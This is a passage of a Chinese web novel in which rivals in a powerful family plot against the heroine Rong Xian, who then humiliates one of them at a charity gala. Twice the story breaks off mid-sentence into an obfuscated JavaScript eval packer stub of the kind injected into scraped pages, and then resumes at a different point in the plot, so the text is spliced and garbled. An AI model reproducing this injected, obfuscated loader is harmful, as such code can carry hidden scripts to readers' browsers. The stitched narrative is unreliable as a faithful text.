赵止淮看了他一眼,欲言又止,最后像是下了决心,压低声音:“吴宙,你是个明白人,我也不瞒你。你姑姑现在想撇清关系,把脏水全泼到吴御身上,好让吴家脱身。” 吴宙愣住了。 赵止淮继续说:“你知道外面现在怎么传吗?说吴家是异花技术的黑手,说你们家靠人命发财。你姑姑倒好,直接缩回去,让已经惨死的吴御背锅。可你呢?你是吴家的人,你能跑得了?” 吴宙的脸色越来越难看。 赵止淮拍了拍他的肩膀,语重心长:“我不是挑拨你们一家人的关系。只是替你委屈。你明明什么都没做,就因为姓吴,就要被人指指点点。还有那个清理部……”他顿了顿,“那个叫容贤的,当初在面试的时候怎么对你的,我可都听说了。” 吴宙的拳头攥紧了。 三招。当着那么多人的面,他被一个从十六区来的丫头三招打趴下。这事传出去,他在圈子里丢尽了脸。后来听说那丫头立了功,升了职,他心里那口气一直没顺过来。 “止淮哥,你说怎么办?”他咬着牙问。 赵止淮看着他,目光深沉:“有些事,不能硬来,得靠智。你认识的人多,总有几个能帮上忙的。” 吴宙眼珠转了转,忽然想起一个人。 “欧阳远。”他说,“他跟我关系不错。他爷爷是欧阳学者,他未婚妻可是赵随石姑姑的女儿。” 赵止淮眼睛一亮,但面上依旧平静:“哦?那可真是……有意思。” 吴宙已经懂了。 他站起身,往外走:“止淮哥,这事交给我。你放心,我不会让你失望的。” 门关上。 赵止淮坐在原地,端起茶杯,轻轻抿了一口。 吴霞啊吴霞,你不是想脱身吗,可你吴家可不是什么出淤泥而不染的莲花。 想清白在人间?他冷笑一声。 38. 女伴 两天后,一场“私人聚会”在一处高档会所举行。 名义上是几个年轻人聚一聚,聊聊最近的新闻。实际上,是吴宙攒的局,目的是让欧阳远“认识认识”那个叫容贤的女人。 欧阳远是个看起来斯文的年轻人,戴着金丝边眼镜,说话慢条斯理,但眼神里偶尔闪过的东西,证明他并不像外表那么无害。 他是欧阳学者的孙子,中心区最有名的教育家之后。他爷爷当年和赵随石的父亲赵清安、资源分配局的老人一起,并称“后末日时代三大支柱”。虽然如今退居二线,但影响力依旧在。 “那个容贤。”吴宙压低声音,给欧阳远倒酒,“我见过。清高得很,眼睛长在头顶上。你是没见她在清理部面试的时候那个样,看谁都是俯视。” 欧阳远被他的形容逗笑了一下,拿起就浅喝了一口。 吴宙继续说:“听说她跟赵随石关系不一般。你家那位,咳,我多嘴了。” 他说的是欧阳远的未婚妻,赵随石姑姑的女儿,赵思泠,性格活泼,脾气和她的身份一样大。 欧阳远的笑容淡了一瞬,很快恢复正常。 “你跟我说这些,想干什么?”他问。 吴宙左右看看,凑近他,压低声音:“我就是觉得,有些人太得意了,该有人提醒提醒她们,这中心区,不是她们说了算。” 他没怎么遮掩自己的恶意,欧阳远很容易就看了出来。 “你想怎么提醒?” 吴宙笑了笑,从口袋里掏出一个小盒子,推到他面前。 欧阳远打开,里面是一张请柬,某个慈善晚宴的入场券。 “过几天有个局,各界名流都会去,赵家人对外是出了名的好善乐施,他们也不会缺席。”吴宙说,“到时候赵随石肯定会带那个容贤去。你在赵思泠面前提一嘴容贤,按照容贤那性子,肯定会惹恼了她。” 欧阳远看着那张请柬,“你倒是会算计,赵思泠那性子,指不定要吵翻了天。” 吴宙耸肩,“只是教训一下,不成的话,你也不吃亏,不是吗?” 欧阳远把盒子收起来,点了点头。 “行。我试试。” 吴宙满意了,举起酒杯,一饮而尽。 他们聊的投入,根本没注意有人在一旁偷听。 等消息传到赵随石耳朵里时,他正在看文件。 杨理火翘着二郎腿,把听到的事说了一遍,最后总结:“吴宙那小子不老实,跟欧阳远凑一块儿了。估计是要给你和容贤下套。” 赵随石头也没抬:“什么套?” “还不知道。但欧阳远那个未婚妻,你表妹赵思泠,肯定要掺和。”杨理火说,“你家都心思重的呢,要是被她盯上了,恐怕你这日子不会太安生。” 赵随石放下文件,想了想,“慈善晚宴的请柬,收到了吗?” 杨理火一愣,翻了翻记录:“好像有。容贤那份是以你女伴的名义发的。” “那就去。”赵随石说。 杨理火嘴巴张开,“啊?”明知道是套还去? 赵随石笑了下,“迟早会发生的事,再说了,我也想知道他们想做什么?” 他都这么说了,杨理火也乐得看热闹。 “行吧,你说了算。”他站起身往外走,走到门口又回头,“对了,容贤应该还不知道这事,要告诉她吗?” 赵随石嗯了声:“我亲自跟她说。” “就欣赏你这点。”杨理火光是想到他那一家子,就头疼,他可做不到赵随石这么头铁。 赵随石看着光屏上的关系网,赵止淮,吴宙,欧阳远,还有那些藏在暗处的人…… 你们想玩,那就玩大一点。 * 宿舍里,容贤正在擦那串绿宝石链子。 这几天她一直在想那个编号0001的培养舱,想那个“容”字,想楚南莫说的话,想爆炸那一天到底还有什么被她忽略的,她的记忆是残缺的,她到底忘了什么。 似乎有什么东西压在心上,沉甸甸的,透不过气。 门被敲响了。 “进来。” 容贤嗯了开关,就看到赵随石推门进来。 赵随石注意到她手里的链子,目光顿了一瞬,然后在她对面坐下。 “有个事跟你说。”他说。 容贤看着他,等他继续。 赵随石把慈善晚宴的事说了,也把吴宙和欧阳远的事说了,没有任何隐瞒。 “……他们想干什么,还不清楚。但大概率是要给你难堪。”他说,“你可以不去。” 容贤想了想,问:“你想让我去吗?” 真是直截了当的问题,赵随石有时候觉得这是优点,有时候会让人无奈,就像现在。 他之前为了图方便,都是不去的,实在避免不了,就让表妹赵思泠作伴。 他在家族的地位尴尬,他是弱性异能,本来不受重视,在他和赵止淮之间的纷争落下,他赢了,倒是成了受欢迎的,后面又被名义上到十八区历练,赵家人对他的态度和之前天差地别。 直到现在,他这又做回清理部部长之位,这些捧高踩低的人又热情了,他倒是不担心容贤会被欺负,只是不想让她经历自家那些破事。 “想。但不是为了让你去挨欺负。” 容贤看着他。 赵随石继续说:“有些事,躲是躲不掉的。他们想试探,那就让他们试。让他们知道你是不能动的。”他顿了下,“还有你的人,是不能动的。” 容贤睁大眼睛,满眼疑惑。 这话说得……有点奇怪。 但赵随石已经站起身,往门口走。 “好好休息。后天晚上,我来接你。” 门关上。 容贤坐在原地,看着那扇门,手里还攥着那串链子。 她忽然想起陈丹说过的话,“你和赵部长越来越像了”。 现在想想,好像是有点。 她低头看着链子,嘴角微微弯了一下,很短暂。 * 容贤在后一天穿上了赵随石送的礼服,很漂亮的绿色,容贤很喜欢,尤其腿环的设计上可以放刀枪,据说还是不会被检测出来的材质。 赵随石亲自开的车前来接她,容贤问:“平时不都是车尔开吗?” “我不在中心区的这段时间辛苦他和冷复了,所以我给他们放了假。” 容贤像是杨理火上了身,感叹道,“工作狂竟然大发慈悲了?!” “胆子不小,敢调侃我。”赵随石挑眉,“我这就让他们停休。” 容贤立马老实,“别啊。”她是觉得氛围有些严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵思泠不以为然,随意点点头,“直说便是。” “他这女伴,叫容贤,来自十六区,现在是清理部行动队的一员。” “等一下!”赵思泠拽住他的衣服,“你说来自哪?十六区?” 得到肯定后,她愣在原地,手中的杯子有了裂缝,欧阳远从她手中抽出杯子,随手放到过往的盘子上。 她全然忘记自己答应过欧阳远什么,满心都是那个容贤。 她一直觉得这个名字挺眼熟,容贤…容贤…… 没错了,她猛的想起一个小事,表哥从源河防线回来,特意去定制了一条链子,她正好也在接触那个设计师,当时设计师是拒了她的单,她也是机缘巧合之下得知和她抢单的人也是赵家人,是送给一个姓容的人。 那个时候就上心了吗? 赵思泠自诩是赵家最了解赵随石的人,他有着赵家傲慢尊贵的血,面如冠玉,那一头不同于赵家的白发显得他更出尘,也就是这不一样的地方,让她比其他赵家人更喜欢他。虽然先前内部有些不和,但那无伤大碍,赵随石能走到今天,都是多亏了赵家人为他保驾护航。 她向来瞧不上那些只是无能狂怒的底层人,这样的人还和哥哥一起参加宴会,别说她了,赵家没有一个愿意看到这种场景。 “容贤是吗?我倒想看看是什么样的人做了哥哥的女伴。” 39. 他需要她 慈善晚宴设在中心区最负盛名的“天上宫”。 那是一栋三百米高的玻璃建筑,顶层宴会厅可以俯瞰中心区的一切。 容贤坐在赵随石身边,透过车窗看着那栋楼,心里想的却是另一件事。 临行前,赵随石再次和她强调了两句话,“有些事,躲是躲不掉的。他们想试探,那就让他们试。让他们知道你是不能动的。” 还有那句“你的人,是不能动的。” 这话她当时没听懂,直到现在,她看到那富丽堂皇的高楼,衬托其他地方黯淡无光。 她隐约明白了一些。 车停在门口,侍者上前拉开车门。容贤下车时,感觉到几道目光已经落过来,门口站着几个人,穿着得体,正在低声交谈,看到她时,交谈声顿了一瞬。 赵随石走到她身边,微微侧身,挡住了一部分视线。 “走吧。” 他们走进大厅,乘电梯上行。电梯里只有他们两个人,容贤看着镜面里自己的倒影,绿色的礼服,额头的头发都被她梳到后面,露出额头。腕上的绿宝石链子在灯光下泛着温润的光。 赵随石一身深灰色,领带边缘用墨绿色,和容贤的礼裙配合的很好,他们二人站在一起,容贤看到他在笑,也不由自主的勾起嘴角。 在倒影中,他们俨然一对璧人。 容贤觉得这样的自己有些陌生,想起陈丹知道她要赴宴的打趣话:“越来越像赵部了呢,说不定哪天就挤掉他,你自己做部长呢。” 她不觉得他们一样。 可现在站在他身边,给她一个错觉,就是他们是一样的。 电梯门打开。 宴会厅里已经到了不少人,衣香鬓影,觥筹交错。容贤一眼扫过去,记住的只有几张脸,不是因为他们特别,而是因为他们的目光。 赵思泠被欧阳远提醒了,“他来了。” 她正要上前,就被欧阳远拉住,“再等等看,你不好奇吗?” 赵思泠懂他的意思,往周围看了一圈,都有意无意的朝赵随石那边看,呵了一声。 那些目光落在赵随石身上,又移到他的女伴容贤身上,然后移开,然后又飘回来。有的好奇,有的审视,有的带着不加掩饰的打量。 容贤见过这种目光。在十六区,当她和赵随石一起出现在废品店时,那些人也这么看她。 但这里的人,比废品店的客人复杂得多。 “赵部长来了。”有人迎上来,是个五十来岁的中年男人,笑容满面,“好久不见,好久不见!” 赵随石和他寒暄了几句,容贤站在一旁,安静地听着。 那人的目光时不时扫过她,最后终于忍不住问:“这位是……” “我的同事,容贤。”赵随石介绍得很简单,没有多解释。 那人点点头,笑容不变,但容贤能感觉到,他眼底的打量更深了。 同事?来这种场合的“同事”,可不多见。 与此同时,宴会厅另一侧。 吴宙端着酒杯,站在人群边缘,目光一直盯着入口方向。他旁边站着几个人,都是平日里一起玩乐的公子哥,此刻正交头接耳,议论着什么。 “那个就是容贤?”其中一个压低声音,“看起来挺普通的嘛。” “普通?”吴宙冷笑了一声,“你知道她什么实力吗?” 那人也不知道是故意还是有意:“是啊,我是没见过,你倒是见了,怎么也没见你提过几次。” 吴宙没说话,只是握着酒杯的手收紧了一些。 三招,他被她三招打趴下,当着清理部那么多人的面。这事他从来没跟这些人提过,但每次想起来,胸口都像压着一块石头。 “等着看吧。”他低声说,“今天有好戏。” 旁边的人面面相觑,不明白他说的“好戏”是什么。 吴宙的目光飘向另一个方向,欧阳远正站在赵思泠身边,低头跟她说着什么。赵思泠听着,脸色越来越沉。 她猛地抬起头,目光穿过人群,落在刚刚进门的容贤身上。 吴宙嘴角微微弯了一下。 * 容贤正在听赵随石和一个中年女人说话。那女人是资源分配局的,说话和气,但眼神精明,几句话就把容贤的来历、职位、能力问了个遍。 容贤答得滴水不漏,对方心想这不愧是赵随石教出来的,年纪轻轻竟老练至此,不容小觑。 倒不是因为容贤擅长应付,而是因为她说的都是真的。 这心眼多的人总是会推已及人,赵随石知道她在想什么,但也不解释,就让他这么误会。 “……容小姐年轻有为,以后有机会多交流。”那女人笑着说完,端着酒杯走了。 容贤松了口气。 赵随石看她一眼:“累了?” 容贤摇头:“不累。就是觉得他们说话……好累。” 赵随石笑了一下,正要说什么,身后传来一个清脆的声音。 “哥!” 容贤回头。 一个年轻女人站在几步外,穿着酒红色的礼服,妆容精致,眉眼间带着一股天然的傲气。她走过来,目光在容贤身上扫了一圈,然后落在赵随石脸上,笑容灿烂。 “哥,你终于来了!我等你好久了!” 赵思泠。赵随石姑姑的女儿,欧阳远的未婚妻。容贤想到自己背的资料,对来人颇有兴趣,这可是她见过的第三个赵家人,第二个就是异防局局长,就开会远远看了眼,这有关赵家的八卦是传遍了整个异防局,她就是不感兴趣,也被迫知道了一些,就是这赵家人长的都不错。 赵随石神色不变,点了点头:“思泠。” 赵思泠凑过来,挽住他的胳膊,语气亲昵:“你怎么不提前跟我说带谁来?我好准备准备。”她说着,目光又飘向容贤,“这位就是……容小姐吧?久仰。” 容贤看着她,点了点头:“你好。” 赵思泠的笑容顿了一瞬,好一个你好。 “容小姐第一次来这种场合吧?”赵思泠继续笑,语气关切,“有什么不懂的可以问我。哥平时忙,顾不上这些。” 容贤想了想,说:“还好。他教过我。” 赵思泠的笑容又僵了一下。 他?教?叫得这么随意? 她看了赵随石一眼,发现他脸上没什么表情,既没有否认,也没有解释。心里那口气更不顺了。 “容小姐真有意思。”她笑了一声,松开赵随石的胳膊,走近一步,上下打量着容贤,“听说你来自十六区?那边……挺远的吧?来中心区还习惯吗?” 这话听着像关心,但语气里的居高临下,藏都藏不住。 容贤看着她,赵随石说的“给你难堪”终于来了。 她想了想,认真回答:“习惯。比十六区好。” 这个人怎么回事?连接话也不会,赵思泠本来等着容贤尴尬或者生气,结果对方就这么平平淡淡的回答,像是什么都没听出来。 她有些不甘心,意识到这是十六区的人,得直白一点,正要再开口,旁边忽然传来一个声音。 “思泠,你跟容小姐聊什么呢?” 欧阳远走过来,戴着金丝边眼镜,温文尔雅的模样。他走到赵思泠身边,轻轻揽住她的肩,对容贤点了点头:“容小姐,久仰。” 容贤看着他,也点了点头:“你好。” 欧阳远的笑容同样停滞了一瞬,和赵思泠一样,他也被这个过于简洁的回应噎了一下。 一点小事,他还不至于在意,笑着说:“容小姐第一次来,可还习惯?有什么需要尽管说。” 容贤礼貌回答:“暂时没有。谢谢。” 欧阳远:“……” 气氛有些微妙。 就在这时,另一个声音插了进来。 “思泠,不给我们介绍一下吗?” 几个穿着光鲜的年轻人走了过来,有男有女,年纪相仿,一看就是和赵思泠相熟的圈子。为首的是一个高挑的女人,眉眼和赵思泠有几分相似,气质更冷一些。 赵思泠看到她,眼睛亮了一下:“姐!” 赵思泠的堂姐赵思澄,比赵随石小几个月,现在是异防总局技术部,异能评级A,在赵家同辈中实力排前三。 赵思澄走过来,目光落在容贤身上,毫不掩饰的用目光将她打量了一遍,然后看向赵随石,嘴角微微弯起:“随石哥,好久不见。这位就是你从十六区带回来的……同事?” 同事被她重音说出。 赵随石看着她,神色不变:“思澄。” 赵思泠不意外他这个态度,转向容贤:“容小姐,我们应该更早一些见面的,只是总局太大,我们竟然没有见过,真是很遗憾,喜山福利院的案子,你可是立下了大功。”她顿了顿,“不过,今天这场合,和你之前的场所都不一样,你可得小心点,别出什么岔子。” 这话明着是提醒,暗里是警告。 容贤倒是没听出她的话中意,疑惑道:“你是担心我,还是担心你哥?” 赵思澄愣了一下。 容贤继续说:“你要是担心我,没必要。我出不了岔子。你要是担心你哥。”她顿了顿,“他比你厉害多了。” 赵思澄的脸色变了。 旁边几个人瞪大眼睛,谁也没想到这个从十六区来的女人,敢这么跟赵思澄说话。要知道这赵思澄的名声也没比赵随石好听多少。 赵思澄盯着容贤,眼神凌厉起来:“你倒是挺会说话。” 容贤摇头:“我只是说实话。” 赵思澄气笑了。她上前一步,就要给她一个教训,赵随石忽然开口。 “思澄。” 赵思澄听出一丝寒意,真的很新鲜的态度,她的脚步顿住。 赵随石看着她,“今天是慈善晚宴,不是你们闹着玩的地方。” 赵思澄当然知道,她的脸色变了变,刚才差一点冲动了,但赵随石用这种语气和她说话……现在赵随石可不是以前一无所有,她想到这,不爽的哼了一声,转身走了。 那几个跟班一脸懵地跟上去。 赵思泠见赵思澄走了,刚才哥姐微妙的交锋,她都看在眼里,对容贤这个人的印象更不好了,她阴着脸翻了一眼容贤,就要发难,被欧阳远拉走。 欧阳远低声凑到她耳边说:“没必要出这个头,交给你姐就是了。” 老实说赵思澄的出现是意料之外,但效果比他想的要好,介于他和赵思泠的婚姻,她还不能出事。 赵思泠不知道他怎么想,被轻易说服,毕竟她这姐的实力很强。 容贤看着她的背影,又看了看赵随石越发灿烂的笑容,若有所思。 她忽然意识到一件事。 赵随石在赵家,并不像表面上那么“受欢迎”。这些人看他的眼神,有敬畏,有忌惮,但更多的是隔阂。 他站在这里,像是站在自己的战场上。 而她,是他带进来的“兵器”。 * 晚宴继续进行。 容贤跟在赵随石身边,见了一个又一个的人。有些人对她客气,有些人冷漠,有些人则毫不掩饰地打量着,像是在评估一件商品。 赵思泠没有再过来,但容贤能感觉到,她的目光一直跟着自己。 还有赵思澄,以及那些赵家的年轻人,还有那些不知道站在哪边的宾客。 整个宴会厅里歌舞升平,可容贤的神经却越来越紧绷。 她开始想赵随石说的话,“赵家人没有分家,实力最重要。我从小异能弱,被嫌弃过很多次。” 那时候她只是听着,没什么感觉。 现在她看到了。 她看清那些人看他的目光中所含的意义,像是旧日的轻视还没来得及完全抹去,又被现在的地位压得不得不收敛。 这种目光,比直接的敌意更让人不舒服。 容贤侧过头,看了赵随石一眼。 他正在和一个中年男人说话,神色如常,笑容得体,看不出任何破绽。 容贤知道了一个秘密。 那个和来人谈笑风生的赵随石其实很累。 他的身体站在一群人中间,心里却始终是孤岛的累。 容贤小时候在监狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她退后一步,周身开始泛起淡淡的光芒,那是异能运转的迹象。她是风系异能,在同辈中属于上层。 容贤站在原地,没有动。 赵思澄以为她怕了:“你不准备?” 容贤摆手,“对付你,不需要。” 赵思澄被她这态度彻底激怒了。她不再废话,抬手一挥,一道凌厉的风刃凭空凝聚,直取容贤! 不是要害,但足够让人狼狈。 容贤看着那道风刃袭来,没有躲,就在风刃即将触及她的瞬间,她抬起手,食指轻轻一点。 那道风刃,碎了。 不是被挡开,不是被抵消,是粉碎,像玻璃一样,在空中碎成无数细小的气流,然后消散。 赵思澄愣住。 她还没反应过来,容贤已经到了她面前。 太快了。 快到她只看到一抹绿影,然后手腕一紧,整个人被一股力量压制,动弹不得。那股力量不是从外部来的,是从她体内,她的异能像是被什么捏住了后颈,非常乖巧的停下来。 一招。 赵思澄的脸涨得通红,又变得惨白。她张了张嘴,想说什么,却一个字也说不出来。 容贤松开手,退后一步。 “你输了。”她说,轻松的像是在说这地好平。 她没有骄傲的意思,这是事实,对她来说,这点活动连她训练的十分之一都没到。 可她这云淡风轻的样子在其他人眼里是另一个回事。 整个宴会厅安静得能听见针落地的声音。 所有人都看着这一幕,有人震惊,有人难以置信,也有人若有所思。 赵思泠站在人群里,脸色铁青。 吴宙端着酒杯,手微微发抖,他终于明白,三招输给这个人,不是什么丢人的事。这个女人,根本就不是正常人。 欧阳远的笑容淡了些,不指望赵思澄这个女人对容贤造成什么伤害,毕竟容贤能入赵随石的眼,肯定不会差到哪。只是若非亲眼所见,他根本想不到容贤的实力已经恐怖到这个地步。 仅仅是一招吗?他眼神变得复杂。 赵随石只是站在那里,看着容贤。 那目光里,有很多东西。 容贤走到他身边。 “走吧。”她说,“我不喜欢这里。” 赵随石看着她,心里那块大石落地,容贤比他想的还要好。 他背对人的手缓缓握拳,心软的一塌糊涂,他点点头,“确实,”他们穿过人群,走出宴会厅。身后,那些目光追随着他们,但再也没有人敢上前。 赵思澄丢了大脸,今晚过后定要被那些爱嚼舌根的人大说特说,想到这,她恨不得杀了在场的所有人,她朝周围看过去,那些人都装作无事发生。 很好。她扯起嘴角,算他们识趣。 她低下头,整理下凌乱的衣服,有人走到她面前看着她的手臂说,“你受伤了。” 赵思澄听到声音,没好气道,“不用你关心,要不是你,我会变成这样吗?” 对方没有反驳,而是扶起她的胳膊,“跟我来吧,我给你上药。” 两个人单独一室,赵思澄见他担忧的眉眼,这满腹的气消了不少,也开始想方才的事,“楚南莫,那容贤确实不好对付,赵随石真是找了个好刀,再这样下去,我担心……” 楚南莫给她缠绷带,低声说:“容贤只是个意外,赵止淮那边比你更着急。” “也是。”赵思澄想到赵止淮就放下心来,“当年要不是赵随石把他那些破事捅到局长那,现在的部长就是他了。我应该再耐心一点,等他们再次斗的两败俱伤。” 她顺着楚南莫的手,抱住他,“更何况,我还有你,你会帮我的,对吧?” “嗯,如果你需要。”楚南莫靠在她肩膀上,柔声说,“我会一直在。”眼睛一睁一闭,眼神和方才截然不同。